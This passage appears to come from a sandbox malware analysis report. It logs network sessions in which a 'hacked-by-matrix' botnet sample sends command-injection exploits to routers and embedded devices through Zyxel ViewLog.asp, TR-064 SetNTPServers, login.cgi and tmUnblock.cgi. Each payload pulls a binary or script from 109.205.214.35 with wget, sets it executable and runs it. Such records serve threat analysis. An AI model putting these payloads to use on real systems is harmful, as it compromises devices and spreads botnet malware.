2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:27.766486883 CET	968	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:22:27 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 2f 66 72 65 65 70 62 78 2f 65 72 72 6f 72 2e 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 2f 66 72 65 65 70 62 78 2f 65 72 72 6f 72 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 301 Moved PermanentlyDate: Thu, 21 Mar 2024 04:22:27 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Location: https:///freepbx/error.htmlContent-Length: 235Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https:///freepbx/error.html">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.13	58074	213.16.62.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:27.591387033 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:27.798954964 CET	123	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="Device_CGI" CONNECTION: close CONTENT-LENGTH: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.13	50480	213.187.32.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:27.776424885 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.13	42050	118.35.234.76	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.101614952 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:29.708256960 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.13	36710	83.166.130.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.101783037 CET	219	IN	HTTP/1.1 400 Bad request content-length: 90 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.13	49930	212.19.166.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.655982971 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:29.179275036 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:29.680413961 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.13	58296	184.174.37.103	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.686237097 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:29.708256960 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.13	44798	82.223.134.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.686503887 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:29.712258101 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:29.895603895 CET	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.21.4 Date: Thu, 21 Mar 2024 04:22:29 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.acierto.com/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.21.4</center></body></html>
Mar 21, 2024 05:22:29.895623922 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.4 Date: Thu, 21 Mar 2024 04:22:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.13	60230	212.12.19.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.732940912 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:28.981699944 CET	407	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:29 GMT Server: Apache/2.4.58 (Win64) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.13	37518	80.147.204.241	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.879522085 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:29.067555904 CET	805	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:22:28 GMT Server: Apache Content-Length: 199 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:28 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.13	36182	99.243.225.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:28.939188004 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.13	34968	178.128.65.197	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.040889978 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:29.550441980 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:29.705893993 CET	372	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Thu, 21 Mar 2024 04:22:29 GMT Content-Type: text/html Content-Length: 190 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx</center></body></html>
